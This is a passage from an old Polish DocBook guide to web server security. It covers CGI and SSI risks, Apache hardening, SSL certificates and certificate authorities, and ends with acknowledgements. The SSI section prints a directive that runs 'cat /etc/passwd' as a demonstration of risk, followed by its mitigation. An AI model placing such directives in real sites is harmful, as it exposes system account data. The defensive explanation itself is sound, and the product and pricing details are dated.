jaką jest serwer WWW) poza funkcjonowaniem całości serwera istotne są
takie elementy jak ciągłość działania kluczowych serwisów, niezawodność
i stabilność aplikacji.</PARA>
<PARA REVISION="todo">Do zadań obydwu należy wymagana prawem i umowami ochrona danych osobowych
klientów
<ULINK URL="http://www.kul.lublin.pl/%E7fajgiel/Odo/Ustawa/ustawatxt.html" ROLE="htmlurl">(,,Ustawa z dnia 29 sierpnia 1997 roku o ochronie danych osobowych'')</ULINK>
a także zapewnienie odpowiedniej autoryzacji dostępu
do zasobów.</PARA>
<PARA ID="BEZPIECZENSTWO-DLACZEGO-ISP">Można stwierdzić, że niezależnie od stosunkowo wysokich kosztów dzierżawy
powierzchni dyskowej u ISP być może opłacalną jest rezygnacja z własnego
serwowania dokumentów i powierzenie tego bardziej fachowym siłom ---
mogącym zapewnić nie tylko serwer WWW ale i jakąś formę reasekuracji.</PARA>
<PARA ID="JESLI-POZOSTAJESZ">Jeśli jednak nadal jesteś zdecydowany samodzielnie udostępniać swe
informacje... spróbuj pamiętać o następujących radach:
<ITEMIZEDLIST>
<LISTITEM>
<PARA>śledź na bieżąco informacje na temat wykrytych przez producenta i
użytkowników luk w bezpieczeństwie używanych przez Ciebie systemów
operacyjnych. Pomocne mogą być przy tym
<ULINK URL="ftp://ftp.cert.org/pub/cert_advisories/" ROLE="htmlurl">CERT Advisories</ULINK>
oraz listy dyskusyjne i dystrybucyjne takie jak bugtraq, ciac-users,
best-of-security czy (w wypadku MS Windows NT) ntbugtraq.</PARA>
</LISTITEM>
<LISTITEM>
<PARA>uruchamiaj jedynie tu usługi które są niezbędne, starając się uruchamiać
demony z jak najmniejszymi uprawnieniami</PARA>
</LISTITEM>
<LISTITEM>
<PARA>opracuj i przećwicz instrukcję postępowania w sytuacjach awaryjnych
takich jak na przykład:
<SIMPLELIST TYPE="VERT">
<MEMBER>utrata danych (z powodu np. awarii jednego dysków)</MEMBER>
<MEMBER>włamania na konto administratora, webmastera</MEMBER>
<MEMBER>utraty/poważnego uszkodzenia większości sprzętu</MEMBER>
</SIMPLELIST></PARA>
</LISTITEM>
<LISTITEM>
<PARA>pamiętaj o regularnie wykonywanych kopiach zapasowych bo:
,,Ci, którzy zapominają o przeszłości są na nią skazani''
(George Santayana -- ``Life of Reason'')</PARA>
</LISTITEM>
<LISTITEM>
<PARA>rozważ możliwość umieszczenia całej swej sieci za firewallem (wpuszczając
tylko część połączeń) [inna rzecz, że jeśli potrzebujesz na swe wewnętrzne
potrzeby takich narzędzi Uniksowych jak
<PRODUCTNAME CLASS="TRADE">NIS</PRODUCTNAME>
czy
<PRODUCTNAME CLASS="TRADE">RPC</PRODUCTNAME>
lub Windowsowych
<PRODUCTNAME CLASS="TRADE">SMB/NetBIOS over TCP</PRODUCTNAME>
bądź
<PRODUCTNAME CLASS="TRADE">DOM</PRODUCTNAME>
jakaś forma filtrowania pakietów na routerze brzegowym jest niezbędna].</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.genome.wi.mit.edu/WWW/faqs/www-security-faq.html" ROLE="htmlurl">The World Wide Web Security FAQ</ULINK>
<ULINK URL="mailto:lstein@genome.wi.mit.edu" ROLE="mailto">Lincoln D. Stein</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://sunsite.icm.edu.pl/pub/doc/rfc/rfc2196.txt" ROLE="rfc">RFC 2196</ULINK>
--- ``Site Security Handbook''</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://home.netscape.com/info/security-doc.html" ROLE="htmlurl">strony Netscape poświęcone bezpieczeństwu</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.microsoft.com/security/" ROLE="htmlurl">strony Microsoft`u poświęcone bezpieczeństwu</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.netsurf.com/nsf/v01/01/nsf.01.01.html" ROLE="htmlurl">Netsurfer Focus poświęcone bezpieczeństwu sieci komputerowych</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.cs.purdue.edu/coast/coast.html" ROLE="htmlurl">COAST</ULINK>
: Computer Operations, Audit and Security Technology (na Purdue
University)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.cs.purdue.edu/homes/spaf/hotlists/csec.html" ROLE="htmlurl">Computer Security, Law &amp; Privacy</ULINK>
Gene Spafforda --- współautora
<ULINK URL="http://www.rm.com.pl/rm/bwui.htm" ROLE="htmlurl">``Bezpieczeństwo w Unixie i Internecie''</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="ftp://ftp.auscert.org.au/pub/auscert/papers/unix_security_checklist" ROLE="htmlurl">UNIX Computer Security Checklist</ULINK>
opracowana przez
<ULINK URL="http://www.auscet.org.au/" ROLE="htmlurl">Australijski CERT</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.zeuros.co.uk/firewall/mirror/www.v-one.com/pubs/fw-faq/faq.htm" ROLE="htmlurl">Internet Firewalls Frequently Asked Questions</ULINK>
Marcus J. Ranum</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://csrc.ncsl.nist.gov/" ROLE="htmlurl">NIST Computer Security Resource Clearinghouse</ULINK>
oraz
<ULINK URL="http://csrc.ncsl.nist.gov/fips/" ROLE="htmlurl">Federal Information Processing Standards</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.eecs.nwu.edu/%E7jmyers/bugtraq/index.html" ROLE="htmlurl">archiwa listy Bugtraq</ULINK>
służącej dyskusji o błędach w oprogramowaniu Uniksowym</PARA>
</LISTITEM>
<LISTITEM>
<PARA>Computer Security Technology Center's
<ULINK URL="http://ciac.llnl.gov/cstc/" ROLE="htmlurl">Computer and Network Security Resources.</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ntbugtraq.com/" ROLE="htmlurl">NT BugTraq</ULINK>
archiwa listy poświęconej  bezpieczeństwu
<ULINK URL="http://www.microsoft.com/ntserver/" ROLE="htmlurl">MS Windows NT</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="news:comp.security.misc" ROLE="news">Almost Everything You Ever Wanted To Know About Security</ULINK>
(comp.securty.misc FAQ)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.cert.org/" ROLE="htmlurl">CERT/CC</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.nask.pl/NASK/CERT/" ROLE="htmlurl">NASK CERT</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA> 
<ULINK URL="http://www.tpnet.pl/abuse.html" ROLE="htmlurl"> 
Zasady zgłaszania nadużyć w sieci TPnet</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="BEZPIECZENSTWO-CGI">
<TITLE>CGI, API serwerów</TITLE>
<PARA>Jedną z częściej spotykanych form ataku (a na pewno najbardziej
spektakularną) w ostatnich latach były te wymierzone w prezentowane na
zewnątrz systemy informacyjne takie jak
<LINK LINKEND="WWW">WWW.</LINK>
Przy czym część ataków możliwa była dzięki błędom w aplikacjach
działających po stronie serwera WWW: czy to programu CGI, czy modułu
serwera. Dlatego należy dokładnie przemyśleć to jakie programy będą
wykonywane po stronie serwera, czy są one w wystarczającym stopniu
przetestowane, przede wszystkim pod kątem zachowania wobec niestandardowych
nieoczekiwanych danych (mających np. doprowadzić do wysłania
<FILENAME MOREINFO="NONE">/etc/passwd</FILENAME>
na adres potencjalnego włamywacza), a także tego czy operują na
przewidzianych dla nich danych.
<ULINK URL="http://www.w3.org/Security/FAQ" ROLE="htmlurl">,,The World Wide Web Security FAQ''</ULINK>
<ULINK URL="mailto:lstein@genome.wi.mit.edu" ROLE="mailto">Lincoln D. Stein</ULINK>
zawiera listę znajdujących się w powszechnym użyciu programów CGI
zawierających błędy mogące naruszyć integralność systemu. Znaleźć tam
również można informacje w jaki sposób pisać ,,bezpieczne'' programy CGI.</PARA>
<PARA>Kolejnym potencjalnym problemem są skrypty wykorzystywane przez
użytkowników (tutaj być może rozwiązaniem są:
<SIMPLELIST TYPE="VERT">
<MEMBER>pakiet
<ULINK URL="http://www.umr.edu/%E7cgiwrap/" ROLE="htmlurl">cgiwrap</ULINK>
Nathana Neulingera --- pozwalający na wykonywanie programów CGI z
uprawnieniami użytkownika nie zaś serwera. (przy czym, jeśli serwer po
starcie ustawia się jako
<SYSTEMITEM MOREINFO="NONE">nobody</SYSTEMITEM>
może być to forma obniżania bezpieczeństwa systemu, kosztem wyższej
funkcjonalności).</MEMBER>
<MEMBER>Sverre H. Huseby
<ULINK URL="http://marion.uio.no/%E7sverrehu/pub-unix/" ROLE="htmlurl">suidcgi</ULINK></MEMBER>
</SIMPLELIST></PARA>
<PARA ID="SEC-SSI">Do innej kategorii zagrożeń należą te tworzone przez
<LINK LINKEND="SSI">SSI.</LINK>
Część parsowalnych przez serwer dyrektyw może odwoływać się do wyjścia z
wykonywanych programów bez niemal żadnej kontroli nad tym co użytkownicy
robią --- np.
<EXAMPLE>
<TITLE></TITLE>
<PROGRAMLISTING FORMAT="LINESPECIFIC" ROLE="ssi">&lt;--#exec cmd="/bin/cat /etc/passwd"--&gt;</PROGRAMLISTING>
</EXAMPLE>
pozwala na serwerach uniksowych przechwycić bazę danych użytkowników...
<FOOTNOTE ID="LOCK-SSIEXEC">
<PARA ID="LOCK-SSI">w
<PRODUCTNAME CLASS="TRADE">Apache</PRODUCTNAME>
do zablokowania tej opcji służy parametr
<SYSTEMITEM MOREINFO="NONE">IncludesNOEXEC</SYSTEMITEM>
dyrektywy
<SYSTEMITEM MOREINFO="NONE">Options</SYSTEMITEM></PARA>
</FOOTNOTE></PARA>
<PARA>Kolejnym zagrożeniem, związanym ze z aplikacjami uruchamianymi po stronie
serwera są... poprzednie wersje skryptów, zapisywane przez edytor jako
kopia (np. ViM zapisuje kopie edytowanych plików do *%E7). Przy czym
kopia ta jest zwykle serwowana nie jako wynik programu, a jako dokument
(ponieważ ma inne rozszerzenie), udostępniając potencjalnemu włamywaczowi
sporo informacji o systemie.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>Paul Phillips
<ULINK URL="http://www.go2net.com/people/paulp/cgi-security/safe-cgi.txt" ROLE="htmlurl">Safe CGI FAQ</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Michael Van Biesbrouck
<ULINK URL="http://www.thinkage.on.ca/%7Emlvanbie/cgisec/" ROLE="htmlurl">CGI Security Tutorial</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="BEZPIECZENSTWO-SERWERY">
<TITLE>Serwery</TITLE>
<PARA>Na zagrożenia bezpieczeństwa powodowane przez serwery HTTP (i generalnie
oprogramowanie ,,z drugiej ręki'') nie ma mocnych. Serwery HTTP w swej
podstawowej konfiguracji nie są
<EMPHASIS>zbyt</EMPHASIS>
skomplikowanymi systemami. Jednak po dołożeniu rozmaitych (nieraz
potrzebnych;-)) usług okazuje się że poziom skomplikowania
aplikacji (z jednej strony system operacyjny, z drugiej serwery,
wspomagające oprogramowanie: dedykowane serwerowi WWW interpretatory,
programy --- zwłaszcza
<LINK LINKEND="BEZPIECZENSTWO-CGI">CGI)</LINK>
wzrasta w sposób niekontrolowany... Śledzenie informacji dostępnych
w sieci (na listach programistycznych  dotyczący danego oprogramowania,
na bugtraq i ntbugtraq) staje się szczególnie istotne, gdy posiadamy
skomplikowany system bazujący w dużej mierze cudzym, a zarazem dość
rozpowszechnionym oprogramowaniu (pojawiają się większe możliwość
znalezienia ,,exploita'' na nasz system i serwer)
<EMPHASIS>Istotna jest poprawna konfiguracja oprogramowania.</EMPHASIS>
Poprawna to znaczy taka by zapewniała odpowiednie środowisko pracy przy
zachowaniu porządanej funkcjonalności. Do takich podstawowych środków
należy zaostrzenie praw dostępu do kluczowych plików konfiguracyjnych
(tak by dla ,,normalnych'' użytkowników były dostępne co najwyżej w trybie
<SYSTEMITEM MOREINFO="NONE" ROLE="tryb">readonly</SYSTEMITEM>
, albo zupełnie nieczytelne). Jeszcze wcześniej należy nałożyć potrzebne
<FOOTNOTE LABEL="fix-nt" ID="FIX-NT">
<PARA ID="FIXNT">niekiedy założenie wszystkich może się nieciekawie skończyć ---
instalujemy wówczas poprawione pliki bez niezbędnego do działania
środowiska.</PARA>
</FOOTNOTE>
łaty systemowe (pochodzące od producentów: systemu i używanego
oprogramowania) --- przy czym często łata == wymiana danego komponentu
na nowszy posiadający kolejny błąd. ;-(. Lecz z drugiej strony
część serwerów bez nich jest niemal bezbronna: np. MS IIS 3.0. bez tzw.
<SYSTEMITEM MOREINFO="NONE">hotfixów</SYSTEMITEM>
bardzo łatwo może zostać doprowadzony do
<SYSTEMITEM MOREINFO="NONE">Denial of Service</SYSTEMITEM>
.</PARA>
<PARA>Kolejnym krokiem może być ustawienie nie do końca typowych (i dostępnych
na wszystkich systemach) rozszerzonych praw do pliku --- np. na Linuksie
warto zapoznać się z podręcznikiem systemowym polecenia
<COMMAND MOREINFO="NONE">chattr</COMMAND>
i ustawić dla logów parametr
<SYSTEMITEM MOREINFO="NONE">-----a-</SYSTEMITEM>
, zaś dla plików konfiguracyjnych
<SYSTEMITEM MOREINFO="NONE">----i--</SYSTEMITEM>
.</PARA>
<PARA>Wydaje mi się, że warto
<SIMPLELIST TYPE="VERT">
<MEMBER>zabronić wyświetlania zawartości katalogów wobec braku pliku domyślnego
(wiedza o rzeczywistych identyfikatorach użytkowników może być przydatna
włamywaczom)</MEMBER>
<MEMBER>zabronić wykonywania
<SYSTEMITEM MOREINFO="NONE">symbolic link</SYSTEMITEM>
(choć chyba lepiej zezwolić o ile właścicielem pliku do którego wiedzie
odniesienie i odnośnika jest ten sam użytkownik (w wypadku
<PRODUCTNAME CLASS="TRADE">Apache</PRODUCTNAME>
jest to dyrektywa
<SYSTEMITEM MOREINFO="NONE">SymLinksIfOwnerMatch</SYSTEMITEM></MEMBER>
<MEMBER></MEMBER>
</SIMPLELIST></PARA>
<PARA>Ewentualnie można dać użytkownikom prawo zmiany tych parametrów w
niektórych katalogach, lub ustawić samemu w plikach konfiguracyjnych
serwera dla pewnych katalogów --- wykorzystując dyrektywę
<FILENAME MOREINFO="NONE">&lt;Directory ścieżka&gt;

</FILENAME></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://sunsite.icm.edu.pl/pub/www/apache/docs/misc/security_tips.html" ROLE="htmlurl">Security tips @ Apache</ULINK> </PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="SSL-SERWER">
<TITLE>SSL</TITLE>
<PARA>From: kravietz@ceti.com.pl (Paweł Krawczyk) </PARA>
<FORMALPARA ID="JAK-BEZPIECZNY-SERWER">
<TITLE>Jak postawić bezpieczny serwer WWW?</TITLE>
<PARA>Trzeba uruchomić serwer WWW z wbudowaną obsługą SSL, wygenerować dla niego
certyfikat, a następnie zapłacić za podpisanie tego certyfikatu jednemu z
Urzędów Certyfikujacych
<EMPHASIS>(Certifying Authorities)</EMPHASIS></PARA>
</FORMALPARA>
<PARA>Najpopularniejsze serwery obsługujące 

<INDEXTERM ID="IDXSSL2">
<PRIMARY>SSL</PRIMARY>
</INDEXTERM> that
to:
<ULINK URL="http://www.apache-ssl.org/" ROLE="htmlurl">Apache-SSL</ULINK>,
<ULINK URL="http://stronghold.ukweb.com/stronghold/" ROLE="htmlurl">Stronghold</ULINK>,
<ULINK URL="http://www.microsoft.com/iis/" ROLE="htmlurl">Microsoft IIS</ULINK>,
<ULINK URL="http://www.netscape.com/" ROLE="htmlurl">Netscape Commerce i Netscape Enterprise</ULINK>,
Roxen
Zeus
Raven SSL
Lotus Domino
IBM ICSS</PARA>
<PARA>Autor tego opracowania z powodzeniem wykorzystuje na firmowym WWW serwer
Apache-SSL. W tym wypadku oprócz samego serwera potrzebne jest także
zaplecze w postaci
<LITERAL MOREINFO="NONE">SSLeay</LITERAL></PARA>
<PARA>Decydując się na komercyjny serwer należy się dokładnie dowiedzieć czy
nie jest on objęty ograniczeniami eksportowymi, żeby nie kupić kota w
worku (czyli serwera obsługującego klucze o maksymalnej wielkości 40 bitów).
Ograniczeniami tymi objęte są serwery wyprodukowane w USA, ze względu na
amerykańskie ograniczenia eksportu technik kryptograficznych.</PARA>
<FORMALPARA ID="SSLEAY">
<TITLE>Co to jest SSLeay?</TITLE>
<PARA>SSLeay jest zestawem programów i bibliotek stanowiących implementację
procedur SSL 2.0 (wersje do 0.6.x), SSL 3.0 (od 0.8.x), oraz
TLS 1.0 (od 0.9.x).
SSLeay służy do generowania oraz zarządzania kluczami i
certyfikatami, pozwala także na podpisywanie certyfikatów (ma funkcje
CA). Z SSLeay korzysta m.in. Apache-SSL.</PARA>
</FORMALPARA>
<PARA>Najbardziej godne polecenia opisy SSLeay:
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.psy.uq.oz.au/%E7ftp/Crypto/" ROLE="htmlurl">SSLeay FAQ</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.cs.tamu.edu/helpdocs/ssl/" ROLE="htmlurl">Opis SSLeay według TAMU</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<FORMALPARA ID="CERTYFIKATY">
<TITLE>Czy wszystkie przeglądarki akceptują wszystkie certyfikaty?</TITLE>
<PARA>Nie. Taka jest konsekwencja centralnego zarządzania certyfikatami w
SSL. Certyfikat autoryzowany na podstawie przedstawionych przez jego
posiadacza dokumentów i innych dowodów tożsamości jest naturalnie bardziej
godny zaufania niż wygenerowany samodzielnie przez administratora serwera.</PARA>
</FORMALPARA>
<PARA>Różne przeglądarki zachowują się różnie po wejściu na serwer legitymujący
się certyfikatem podpisanym przez nieznanego CA:
<ITEMIZEDLIST>
<LISTITEM>
<PARA><PRODUCTNAME CLASS="TRADE">Netscape</PRODUCTNAME>
wypisuje ostrzeżenie i pozwala na zaakceptowanie oraz dodanie otrzymanego
certyfikatu do swojej listy</PARA>
</LISTITEM>
<LISTITEM>
<PARA><PRODUCTNAME CLASS="TRADE">MSIE</PRODUCTNAME>
w wersjach starszych niż 4.x wypisuje ostrzeżenie i odmawia połączenie z serwerem</PARA>
</LISTITEM>
<LISTITEM>
<PARA><PRODUCTNAME CLASS="TRADE">Lynx</PRODUCTNAME>
w ogóle nie sprawdza certyfikatów</PARA>
</LISTITEM>
</ITEMIZEDLIST>
Dwa pierwsze programy nie sprawiają natomiast problemów gdy
uprzednio otrzymają certyfikat CA, który podpisał certyfikat danego
serwera. Certyfikat CA powinien być plikiem w formacie DER typu
<LITERAL MOREINFO="NONE">application/x-x509-ca-cert</LITERAL>
Sposób jego generowania i udostępniania przeglądarkom jest opisany
materiałach
<ULINK URL="http://www.cs.tamu.edu/helpdocs/ssl/" ROLE="htmlurl">TAMU</ULINK></PARA>
<FORMALPARA ID="CERTYFIKATY-PODPISYWANIE">
<TITLE>Kto zajmuje się podpisywaniem certyfikatów?</TITLE>
<PARA>Instytucje podpisujące certyfikaty serwerów oraz wydające certyfikaty
osobiste różnią się przede wszystkim regulaminem (rodzaj serwera,
wymagane dokumenty) i ceną.</PARA>
</FORMALPARA>
<PARA>Najpopularniejszym --- i jednym z najdroższych CA---jest
<ULINK URL="http://www.verisign.com/" ROLE="htmlurl">VeriSign.</ULINK>
Jego certyfikaty akceptują wszystkie wersje Netscape i MSIE.</PARA>
<PARA>Innym popularnym CA jest firma
<ULINK URL="http://www.thawte.com/" ROLE="htmlurl">Thawte Consulting,</ULINK>
która bierze za to 100 USD i jej certyfikaty są rozpoznawane przez
wszystkie przeglądarki. Thawte certyfikuje także Apache-SSL.</PARA>
<PARA>Poza tym:</PARA>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://eurosign.com/" ROLE="htmlurl">EuroSign</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.cost.se/" ROLE="htmlurl">Computer Security Technologies</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.compusource.co.za/id/personal/" ROLE="htmlurl">CompuSource</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>i inni.</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<FORMALPARA ID="SSL-WIECEJ">
<TITLE>Gdzie znaleźć więcej informacji o SSL?</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.mcg.org.br/cert.htm" ROLE="htmlurl">Przegląd systemów certyfikacji: X.509, CA, PGP i SKIP</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.camb.opengroup.org/RI/www/prism/wwwj/" ROLE="htmlurl">Wprowadzenie do SSL i systemów certyfikacji przy wykorzystaniu SSLeay</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.psy.uq.oz.au/%E7ftp/Crypto/" ROLE="htmlurl">SSLeay FAQ</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.consensus.com/security/ssl-talk-faq.html" ROLE="htmlurl">Lista dyskusyjna SSL-Talk</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="ftp://ftp.icm.edu.pl/pub/security/replay/crypto/SSLapps/" ROLE="htmlurl">Inne aplikacje oparte o SSLeay --- telnet, ftp i in.</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST> </PARA>
</FORMALPARA>
<FORMALPARA ID="INNE-BEZP-WWW">
<TITLE>Inne protokoły bezpiecznego WWW</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.pku.edu.cn/on_line/w3html/Shen/ref/shen.html" ROLE="htmlurl">Shen</ULINK>
(CERN)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.microsoft.com/" ROLE="htmlurl">Private Communication Technology - PCT</ULINK>
(Microsoft)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.eit.com/creations/s-http/" ROLE="htmlurl">S-HTTP</ULINK>
(EIT i RSA)</PARA>
</LISTITEM>
</ITEMIZEDLIST>
Istniejące propozycje można podzielić na dwa rodzaje: protokoły warstwy
transportowej (SSL, TLS, PCT) i warstwy aplikacyjnej (Shen, S-HTTP). Pierwsze
z nich działają tuż nad warstwą TCP/IP i mogą służyć do przenoszenia
różnych protokołów wyższych warstw --- FTP, POP3, SMTP oraz HTTP. Nic nie
stoi także na przeszkodzie, by np. protokół S-HTTP działał na połączeniu
zabezpieczonym przez SSL. Kwestie bezpiecznych protokołów WWW wyjaśnia
dobrze artykuł
<ULINK URL="http://www.webdeveloper.com/categories/security/security_race_cyberspace.html" ROLE="htmlurl">The Race to Secure Cyberspace</ULINK>
Dano Garsona</PARA>
</FORMALPARA>
</SECT1>
</CHAPTER>
<CHAPTER ID="DZIEKI">
<TITLE>Dziękuję</TITLE>
<PARA>&nbsp;


<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.torun.pdi.net/%7Erzm/" ROLE="html">Rafałowi Maszkowskiemu</ULINK>
za uwagi i za puszczenie robota wysyłającego tekst na grupę pl.comp.www</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.QDnet.pl/%7Emgb/" ROLE="html">Markowi Bączkowi</ULINK>
za miejsce w pajęczynie</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="mailto:gstaniak@golem.umcs.lublin.pl" ROLE="mailto">Grzegorzowi Staniakowi</ULINK>
za cenne uwagi i fragmenty tekstu --- zwłaszcza o SGMLu, hipertekście i Sieci...</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://hum.amu.edu.pl/%7Epteczyn/" ROLE="html">Piotrowi Tęczyńskiemu</ULINK>
za tropienie błędów i błędzików (nie tylko merytorycznych)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.cyf.gov.pl/%7Earturcz/" ROLE="html">Arturowi Czechowskiemu</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="mailto:W.Myszka@immt.pwr.wroc.pl" ROLE="mailto">Wojciechowi Myszce</ULINK>
za uwagi i podejście do problemów polskiej Sieci ;-)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ists.pwr.wroc.pl/%7Ecoven/" ROLE="html">Pawłowi Więckowi</ULINK>
za informacje o serwerach,
<ULINK URL="http://www.vim.org/" ROLE="html">ViMie</ULINK>
i
<ULINK URL="http://www.debian.org/" ROLE="html">Linux Debian/GNU.</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="mailto:wojsyl@ICM.edu.pl" ROLE="mailto">Wojtkowi Sylwestrzakowi</ULINK>
za W3 cache i fragmenty tekstu mu poświęcone.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://PoncLAND.xyz.lublin.pl/" ROLE="html">Tomaszowi (Ponckiemu) Piłatowi</ULINK>
za fragment o licznikach, URLe, SWATa,
<ULINK URL="http://PoncLand.XYZ.Lublin.pl/" ROLE="html">PoncLand</ULINK>
i wiele innych rzeczy ;-)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="mailto:jz@winter.info.pl" ROLE="mailto">Jarosławowi Zielińskiemu</ULINK>
za cenne uwagi i
<ULINK URL="http://winter.info.pl/" ROLE="html">,,Projekt WInter''</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ceti.com.pl/%7Ekravietz/" ROLE="html">Pawłowi Krawczykowi (KravietZ)</ULINK>
za CETI, fragmenty tekstu poświęcone SSL i ograniczaniu dostępu do serwera.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://nwalsh.com/" ROLE="html"> 
Normanowi Walsh </ULINK> 
za 
<ULINK URL="http://www.oreilly.com/davenport/" ROLE="html">DocBook</ULINK> i 
``Modular DocBook Stylesheet''</PARA>
</LISTITEM>
<LISTITEM>
<PARA> 
wszystkim tworzącym 
<ULINK URL="http://www.xemacs.org/" ROLE="html">(X)Emacsa </ULINK> 
a zwłaszcza Lennartowi Staflin za tryb PSGML</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.polbox.com.pl/lupus/index.html" ROLE="html">Pawłowi Wimmerowi</ULINK>
za ,,Kurs HTMLa'' i niezrozumiałe uwielbienie dla Windy ;-)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.camk.edu.pl/%7Echris/" ROLE="html">Krzysiowi Leszczyńskiemu</ULINK>
za listę
<ULINK URL="mailto:sgml-request@camk.edu.pl" ROLE="mailto">sgml@camk.edu.pl</ULINK>
kurs Perla i
<ULINK URL="http://www.linux.org.pl/" ROLE="html">PLUG</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="mailto:linus@linux.helsinki.fi" ROLE="mailto">Linusowi Torvalds</ULINK>
:-) za Linuksa</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.gnu.ai.mit.edu/" ROLE="html">Free Software Foundation</ULINK>
za GNU Public Licence (GPL) v. 2.0</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.SGMLsource.com/" ROLE="html">Charlesowi F. Goldfarb</ULINK>
za SGML</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/pub/WWW/People/Berners-Lee/" ROLE="html">Timowi Berners-Lee</ULINK>
za pomysł pajęczyny...</PARA>
</LISTITEM>
<LISTITEM>
<PARA>wszytkim pracującym nad
<ULINK URL="http://www.sgmltools.org/" ROLE="html">SGMLTools</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="mailto:mool@oce.nl" ROLE="mailto">Bramowi Moolenaarowi</ULINK>
za ViMa a zwłaszcza wersję 5.x.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="mailto:jclark@jclark.com" ROLE="mailto">Jimowi Clarkowi</ULINK>
za
<ULINK URL="http://www.jclark.com/sp/" ROLE="html">SP</ULINK>
i
<ULINK URL="http://www.jclark.com/jade/" ROLE="html">Jade</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="mailto:tst@pizza.omnilink.net" ROLE="mailto">Tillmannowi Steinbrechergowi</ULINK>
za
<ULINK URL="http://privat.schlund.de/tst/untgz.htm" ROLE="html">UNTGZ</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>i wielu, wielu innym...</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</CHAPTER>
</BOOK>

